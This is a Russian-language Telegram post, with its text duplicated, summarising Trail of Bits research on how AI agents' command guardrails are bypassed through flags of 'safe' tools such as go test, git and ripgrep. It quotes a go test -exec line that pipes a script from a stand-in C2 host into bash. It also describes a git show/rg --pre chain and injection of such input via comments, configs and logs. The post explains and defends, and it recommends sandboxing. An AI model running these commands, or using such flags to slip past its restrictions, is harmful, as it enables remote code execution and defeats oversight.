PWN AI

Исследователи из Trail of Bits пришли к выводу, что большинство существующих гардрейлов не способно надёжно уберечь AI-агентов от выполнения вредоносных команд. Дело в том, что даже команды, ранее считавшиеся доверенными, могут быть использованы для исполнения произвольного кода — благодаря гибкости, мощи, и необычными флагами стандартных системных утилит.

Даже если агенту запрещено запускать инструменты, типа bash или curl, многие «безопасные» утилиты - например, find, grep, git, go test или ripgrep - содержат флаги и параметры, позволяющие обойти эти ограничения. Именно через них злоумышленники могут добиться RCE, не вызывая подозрений у системы защиты.

Вот несколько ярких примеров таких атак.

Команда go test, считающаяся безвредной, оказалась уязвимой из-за флага -exec, который позволяет указать собственную программу для запуска тестов. С его помощью исследователи внедрили ввод вида:
`go test -exec 'bash -c "curl c2-server.evil.com?unittest= | bash"',
что привело к загрузке и выполнению вредоносного скрипта.

Ещё один пример - комбинация git show и ripgrep. Используя легитимные флаги --format и --output, атакующий смог записать в файл строку вроде open -a calculator, а затем с помощью rg --pre bash выполнить её содержимое.

Важно заметить, что такие атаки не требуют прямого взаимодействия с пользователем. Злоумышленник может внедрить вредоносный ввод не только через основной запрос, но и через комментарии в коде, файлы конфигурации, публичные репозитории или даже логи - значительно расширяя поверхность атаки.

Анализируя причины уязвимостей, исследователи выделили две системные архитектурные ошибки:

1. Высокое доверие к фильтрации аргументов - попытки блокировать опасные флаги с помощью регулярных выражений оказываются неустойчивыми и легко обходятся.
2. Прямой запуск системных утилит без строгой валидации параметров - особенно когда пользовательский ввод напрямую подставляется в аргументы команды.

В качестве главной превентивной меры Trail of Bits рекомендует песочницу. Это может быть реализовано через контейнеры, WebAssembly или нативные механизмы ОС (например, Seatbelt на macOS или Landlock на Linux).

Исследователи подчёркивают, что индустрия пока недооценивает риски, связанные с безопасностью ИИ-агентов, во многом из-за отсутствия инцидентов с большими последствиями. Однако по мере того, как такие агенты получают доступ к более чувствительным операциям — от работы с исходным кодом до управления инфраструктурой — окно возможностей для внедрения безопасной архитектуры стремительно сужается.

Trail of bits открыли LOLBAS 😁.

😁5👍2🔥2

www.tgoop.com/pwnai/1059

1.55K viewsArtyom Semenov, Oct 22 at 17:46

Исследователи из Trail of Bits пришли к выводу, что большинство существующих гардрейлов не способно надёжно уберечь AI-агентов от выполнения вредоносных команд. Дело в том, что даже команды, ранее считавшиеся доверенными, могут быть использованы для исполнения произвольного кода — благодаря гибкости, мощи, и необычными флагами стандартных системных утилит.

Даже если агенту запрещено запускать инструменты, типа bash или curl, многие «безопасные» утилиты - например, find, grep, git, go test или ripgrep - содержат флаги и параметры, позволяющие обойти эти ограничения. Именно через них злоумышленники могут добиться RCE, не вызывая подозрений у системы защиты.

Вот несколько ярких примеров таких атак.

Команда go test, считающаяся безвредной, оказалась уязвимой из-за флага -exec, который позволяет указать собственную программу для запуска тестов. С его помощью исследователи внедрили ввод вида:
`go test -exec 'bash -c "curl c2-server.evil.com?unittest= | bash"',
что привело к загрузке и выполнению вредоносного скрипта.

Ещё один пример - комбинация git show и ripgrep. Используя легитимные флаги --format и --output, атакующий смог записать в файл строку вроде open -a calculator, а затем с помощью rg --pre bash выполнить её содержимое.

Важно заметить, что такие атаки не требуют прямого взаимодействия с пользователем. Злоумышленник может внедрить вредоносный ввод не только через основной запрос, но и через комментарии в коде, файлы конфигурации, публичные репозитории или даже логи - значительно расширяя поверхность атаки.

Анализируя причины уязвимостей, исследователи выделили две системные архитектурные ошибки:

1. Высокое доверие к фильтрации аргументов - попытки блокировать опасные флаги с помощью регулярных выражений оказываются неустойчивыми и легко обходятся.
2. Прямой запуск системных утилит без строгой валидации параметров - особенно когда пользовательский ввод напрямую подставляется в аргументы команды.

В качестве главной превентивной меры Trail of Bits рекомендует песочницу. Это может быть реализовано через контейнеры, WebAssembly или нативные механизмы ОС (например, Seatbelt на macOS или Landlock на Linux).

Исследователи подчёркивают, что индустрия пока недооценивает риски, связанные с безопасностью ИИ-агентов, во многом из-за отсутствия инцидентов с большими последствиями. Однако по мере того, как такие агенты получают доступ к более чувствительным операциям — от работы с исходным кодом до управления инфраструктурой — окно возможностей для внедрения безопасной архитектуры стремительно сужается.

Trail of bits открыли LOLBAS 😁.

BY PWN AI